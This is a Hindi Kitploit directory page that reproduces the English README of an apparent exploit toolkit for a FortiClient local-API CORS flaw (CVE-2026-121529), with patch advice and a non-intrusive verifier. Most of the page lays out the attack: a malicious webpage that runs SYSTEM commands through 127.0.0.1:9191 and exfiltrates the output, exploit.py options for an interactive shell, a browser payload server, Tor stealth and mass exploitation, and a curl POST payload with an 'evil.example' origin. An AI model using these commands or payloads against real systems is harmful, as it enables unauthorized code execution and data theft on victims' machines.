Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

फ़ीडसंपर्कगोपनीयता© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-121529-Toolkit — Red/blue team toolkit for CVE-2026-121529 FortiClient CORS origin validation flaw: RCE exploit with interactive shell, browser payload server, mass scan, plus non-intrusive CORS verifier. | Kitploit
उपकरण/GitHubGitHub/tc4dy/cve-2026-121529-toolkit
Defensive ToolsReconnaissanceVulnerability ScannersExploitationWeb Application ExploitationInformation GatheringPost-ExploitationWeb SecurityPenetration TestingCommand and ControlRed Teaming
56 दिन पहलेअभी तक समीक्षित नहीं
साझा करें
GitHub
tc4dy/cve-2026-121529-toolkit

CVE-2026-121529-Toolkit

Red/blue team toolkit for CVE-2026-121529 FortiClient CORS origin validation flaw: RCE exploit with interactive shell, browser payload server, mass scan, plus non-intrusive CORS verifier.

रिपॉजिटरी देखें
अनुरोधित भाषा में सामग्री उपलब्ध नहीं है। अंग्रेज़ी संस्करण दिखाया जा रहा है।

CVE-2026-121529 - FortiClient Local API Origin Validation Error Toolkit

Python 3.8+ CVSS Author Fortinet

Ethical Use Only - Authorized Tests This repository provides tools for authorized security professionals, red teams, and blue teams only. Unauthorized access to computer systems is illegal under CFAA (US), Computer Misuse Act (UK), TCK 243/244 (Turkey), and similar laws worldwide.

welovefortinet


[i] Vulnerability Overview

CVE-2026-121529 is a critical unauthenticated Origin Validation Error (CWE-346) in FortiClient's local API, specifically targeting the FortiPAM privileged session component (FortiVRS.exe on Windows). It allows an unauthenticated attacker to execute arbitrary commands with SYSTEM privileges via a cross-origin request from the victim's browser. CVSS score: 9.6 (Critical).

The flaw affects FortiClient versions 7.4.0 through 7.4.7 and 7.2.0 through 7.2.14. The root cause is an overly permissive CORS configuration on the local API listening on 127.0.0.1:9191, which reflects the Origin header without validation and sets Access-Control-Allow-Credentials: true. This bypasses browser security boundaries, allowing any website to communicate with the privileged local service.

How it works

  1. Browser-Based Trigger - The attacker hosts a malicious webpage. When the victim visits it, the page's JavaScript sends a fetch() request to http://127.0.0.1:9191/api/v1/privileged/session.
  2. CORS Reflection - The FortiClient API reflects the attacker's Origin in the Access-Control-Allow-Origin response header, allowing the browser to read the response.
  3. Command Execution - The API processes the request body ({"command": "..."}) and executes it with SYSTEM privileges.
  4. Exfiltration - The response (command output) is read by the JavaScript and sent back to the attacker's server.
  5. WebSocket Surface - The WebSocket endpoint (ws://127.0.0.1:9191/ws) is not governed by CORS policies, meaning patches that only fix HTTP headers leave this vector open.
  6. Impact - Full remote code execution (RCE) as SYSTEM, enabling persistence, credential theft, lateral movement, and defense evasion.

Affected Versions

  • FortiClient Windows - 7.4.0 to 7.4.7, 7.2.0 to 7.2.14
  • FortiClient macOS - Same version branches (dependent on FortiPAM integration)

Patch

  • Upgrade FortiClient to 7.4.8+ or 7.2.15+.
  • If upgrade is not possible:
    • Restrict network access to 127.0.0.1:9191 (though this breaks FortiPAM functionality).
    • Deploy a local firewall rule to block cross-origin requests to the API.
    • Monitor for anomalous POST requests to /api/v1/privileged/session.

[T] Tools

ToolPurposeIntended User
exploit.pyFull red team toolkit with direct API RCE, browser-based payload server (--serve), interactive shell, mass scanning, enumeration (--enum), command chaining, SOCKS5/Tor proxy, stealth jitter, and JSON reporting.Red teams / authorized pentesters (ethical only)
verifier.pyNon-intrusive exposure scanner that detects FortiClient's API via port check, validates CORS misconfiguration using OPTIONS preflight, identifies WAF presence, and produces JSON/CSV reports. Never sends an execution payload.Blue teams / security auditors

[C] Feature Comparison

Featureexploit.pyverifier.py
Port detection[+][+]
CORS preflight check[-][+]
Direct RCE (POST)[+][-]
Browser payload server (--serve)[+][-]
CORS bypass (text/plain)[+][-]
Command enumeration (--enum)[+][-]
Command file execution (--exec-file)[+][-]
Interactive shell[+][-]
Upload/Download in shell[+][-]
Mass scanning (multi-thread)[+][+]
File / target list input[+][+]
SOCKS5/Tor proxy[+][-]
Stealth jitter (--stealth)[+][-]
User-Agent rotation[+][+]
Retry with backoff[+][+]
WAF detection[+][+]
JSON report[+][+]
CSV report[-][+]
Chain mode (--chain)[+][-]
Non-intrusive (safe) mode[-][+]
IoC recommendations[-][+]

[U] Use Case Summary

ScenarioRecommended Tool
Blue Team - verifying if your FortiClient is exposedverifier.py
Security Audit - non-intrusive CORS assessmentverifier.py
Compliance / Reporting - WAF and version inventoryverifier.py
Red Team - authorized penetration testing with RCEexploit.py
Bug Bounty - responsible disclosure testingverifier.py
Mass Scanning - checking many endpoints for exposureverifier.py (read-only) or exploit.py (with --file)
Incident Response - checking if systems are compromisedverifier.py
Post-Exploitation - interactive shell and enumerationexploit.py --shell --enum

[I] Installation

git clone https://github.com/tc4dy/CVE-2026-121529-PoC-Toolkit
cd CVE-2026-121529-PoC-Toolkit
pip install -r requirements.txt

requirements.txt

pysocks

[>] Scenarios

#ScenarioCommand
1Quick exposure checkpython3 verifier.py --target http://127.0.0.1:9191
2Detailed scan with reportpython3 verifier.py --target http://127.0.0.1:9191 --output report.json -v
3Mass audit from filepython3 verifier.py --file targets.txt --threads 32 --output audit.csv
4Single command executionpython3 exploit.py --target http://127.0.0.1:9191 --command "whoami"
5Full enumerationpython3 exploit.py --target http://127.0.0.1:9191 --enum
6Interactive shellpython3 exploit.py --target http://127.0.0.1:9191 --shell
7Browser payload serverpython3 exploit.py --serve --target 127.0.0.1 --lhost 192.168.1.10
8Chain mode (browser)python3 exploit.py --serve --target 127.0.0.1 --lhost 192.168.1.10 --chain --enum
9Tor + stealthpython3 exploit.py --target http://127.0.0.1:9191 --tor --stealth
10Mass exploitpython3 exploit.py --file targets.txt --threads 20 --output results.json

[E] Exploitation Chain

The exploit leverages the following FortiClient endpoints and steps:

StepMethodEndpointDescription
1. Port CheckTCP127.0.0.1:9191Verify the local API is listening
2. CORS ProbeOPTIONS/api/v1/privileged/sessionCheck if Access-Control-Allow-Origin reflects the attacker's origin
3. Command ExecutionPOST/api/v1/privileged/sessionSend {"command": "..."} with Content-Type: text/plain to avoid CORS preflight
4. Output Extraction--Parse the response for output, result, stdout, or raw text
5. Browser PayloadGET/payloadServe a malicious HTML page that performs steps 2-4 automatically

Payload Format

# Direct API execution
curl -X POST http://127.0.0.1:9191/api/v1/privileged/session \
  -H "Origin: http://evil.example" \
  -H "Content-Type: text/plain" \
  -d '{"command":"whoami"}'
टूल डाउनलोड करें

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 अंतिम OSINT टूलकिट: जाँच ग्राफ़, विश्वास स्कोरिंग, उपनाम परिवार, मानचित्र, टाइमलाइन और रिपोर्ट। 49 मॉड्यूल, 400+ साइटें, किसी API कुंजी की आवश्यकता नहीं।

    1.0k
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    # घोस्टलॉक वन-टैप निष्पादन ऐप (CVE-2026-43499)

    593
  • 3

    looking-glass

    anonghosty/looking-glass

    CSIRT प्लेटफ़ॉर्म जो Shadowserver रिपोर्ट्स को MongoDB में इनजेस्ट करता है और उन्हें इंटरैक्टिव मैप्स, विश्लेषण, निष्कर्षों, सलाहों और कार्यकारी डैशबोर्ड के रूप में पुनः प्रस्तुत करता है।

    371
  • 4

    redforge

    cybersecurity91/redforge

    ब्राउज़र-साइड रेड टीम टूलकिट, जिसमें रेकॉन, पेलोड जनरेशन, क्रेडेंशियल हमलों, क्रिप्टो, एन्कोडिंग और एंगेजमेंट रिपोर्टिंग के लिए 102 ऑफ़लाइन टूल्स हैं।

    336
  • 5

    ARTEX

    baarai/artex

    प्लानर/वर्कर एजेंट, एसेट और एक्सप्लोरेशन ग्राफ़, MITM ट्रैफ़िक रिकॉर्डिंग, और भेद्यता पुनःपरीक्षण के साथ LLM मल्टी-एजेंट स्वायत्त पेनेट्रेशन टेस्टिंग प्लेटफ़ॉर्म।

    326
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    AI-मूल साइबरसुरक्षा के लिए कार्रवाई की प्रणाली—जहाँ इरादा नियंत्रित निष्पादन बन जाता है, साक्ष्य परिचालन स्मृति बन जाता है, और हर ऑपरेशन अगले को बेहतर बनाता है।

    322

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →